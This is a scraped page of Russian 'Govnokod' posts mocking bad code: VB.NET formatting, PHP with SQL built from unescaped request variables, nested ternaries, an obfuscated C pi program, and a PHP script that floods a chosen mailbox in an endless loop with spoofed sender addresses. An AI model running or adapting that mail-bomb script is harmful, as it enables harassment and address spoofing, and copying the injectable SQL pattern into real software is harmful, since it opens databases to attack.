Школоло / Говнокод #605 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
Public Function GetFormatedValue(ByVal columnName As String, ByVal value As Object) As String
	Dim result As String = value.ToString()
	Dim vint As Integer
	If (TypeOf value Is Decimal) Then
		vint = CType(CType(value, Decimal), Integer)
	ElseIf (TypeOf value Is Integer) Then
		vint = CType(value, Integer)
	Else
		vint = CType(Decimal.Parse(value.ToString(), System.Globalization.CultureInfo.InvariantCulture), Integer)
	End If

	Dim stringValue = ConvertStringToInt(value)

	Select Case foundedColumn.Format
		Case "3"
			result = String.Format("${0}M", GetSplitValue(CType(CType(stringValue, Integer) / 1000000, Integer)))
		Case "2"
			result = String.Format("${0}K", GetSplitValue(CType(CType(stringValue, Integer) / 1000, Integer)))
		Case "1"
			result = String.Format("${0}", GetSplitValue(vint))
	End Select
	Return result
End Function

Private Function ConvertStringToInt(ByVal value As Object) As String
	Return CType(value, String).Replace(",", String.Empty).Replace(".", String.Empty).Replace(" ", String.Empty)
End Function

Сначало падал exception на 9 строчке, т.к. не была указана культура, вообще.
После того как указали культуру, все, через кейс на 20 строчке, проходило успешно
Далее, когда изменился формат, для правильной конверсии закодили функцию ConvertStringToInt (line 25)

guest guest, (Updated )

Комментарии (1, +1)

"PHP" / Говнокод #604 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
switch($action){
  	  default:
  	  case 'main':
  	  {
  	  	  if($request_do == 'adtb'){
  	  	  	  $sql->Query("SELECT * FROM utb WHERE `siteid` = $request_site AND `uid` =  ".$_SESSION['id'].";");
  	  	  	  if($sql->size_of_result == 0){
  	  	  	  	  $sql->Query("INSERT INTO utb VALUES(null,".$_SESSION['id'].",$request_site,'$request_url');");
			  }
		  }
		  if($request_do == 'del' && isset($request_id)){
		  	  $sql->Query("SELECT * FROM utb WHERE `id` = $request_id AND  `uid` =  ".$_SESSION['id'].";");
		  	  if($sql->size_of_result != 0){
		  	  	  $sql->Query("DELETE FROM utb WHERE `id` = $request_id;");
			  }
		  }
		  if($request_do == 'save' && is_array($request_tbdata)){
		  	  foreach($request_tbdata as $k=>$v){
		  	  	  $sql->Query("UPDATE utb SET `url` = '$v' WHERE `id` = $k;");
			  }
		  }
  	  	  $sql->Query("SELECT `id`, `domen`, `sitename` FROM sites;");
          $sdata = $sql->GetAssoc();
          $sql->Query("SELECT *,(SELECT `domen` FROM sites WHERE `id` = utb.id) as `site` FROM utb WHERE `uid` =  ".$_SESSION['id'].";");
          $udata = $sql->GetAssoc();
          $sql->Query("SELECT `id`, `domen` FROM sites WHERE `id` NOT IN(SELECT `siteid` FROM utb WHERE `uid` = ".$_SESSION['id']." );");
          $data = $sql->GetAssoc();
          $smarty->assign('sdata',$sdata);
          $smarty->assign('data',$data);
          $smarty->assign('udata',$udata);
          $smarty->assign('id',$_SESSION['id']);
  	  	  $smarty->display('links.tpl');
          break;
	  }


  }

Ага новые конструкции в PHP! Нашел в одной Cmsке

guest guest, (Updated )

Комментарии (4, +4)

"PHP" / Говнокод #602 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
<?
// ....
$POST_MAX_SIZE = ini_get('post_max_size');
$mul = substr($POST_MAX_SIZE, -1);
$mul = ($mul == 'M' ? 1048576 : ($mul == 'K' ? 1024 : ($mul == 'G' ? 1073741824 : 1)));
// ....
?>

я ещё такой глубины условий не встречал в такой форме

guest guest, (Updated )

Комментарии (3, +3)

Няшная / Говнокод #601 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
#include<stdio.h>
int main(void)
{
	int a=10000,b=0,c=2800,d,e=0,f[2801],g;FILE *fo;
	if (!(fo=fopen("C:\\out","w"))) return 1;
	for (;b-c;) f[b++]=a/5;
	for(;d=0,g=c*2;c-=14,fprintf(fo,"%.4d",e+d/a),e=d%a)
		for(b=c;d+=f[b]*a, f[b]=d%--g,d/=g--,--b;d*=b);
}

число пи

guest guest, (Updated )

Комментарии (5, +5)

"PHP" / Говнокод #597 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
<?php 
/*
Copyright Зверь ICQ #444383
*/


#Настройки: 
$error=1; #Показывать ошибки на сервере(1-да, 0-нет) 
$email="me@somehost.ru"; #На какой мыльник срать 
$subject="Продаю виагру, дешево!"; #Тема письма 
$message="Обломись!!! Я не продаю виагру, а даю люлей!!! Ты попал...=)"; #Текст письма 
$name="viagra_sale"; #Впишите сюда имя(!) отправителя (будет выглядеть, например: viagra_sale59043@fmail.ru) 
$domain="mail.ru"; #Впишите доменное имя хоста, который хотите подставить =) 
#Запуск: 
$one=1; 
error_reporting($error); 
while ($one=="1"): 
$num=mt_rand(1,123456789); 
$headers="$name$num@$domain"; 
#Посылаем созданное письмо: 
mail ($email, $subject, $message, $headers); 
endwhile; 
echo "Флуд мыльника $email закончен!"; 
?>
?>

щячло попячся111

guest guest, (Updated )

Комментарии (2, +2)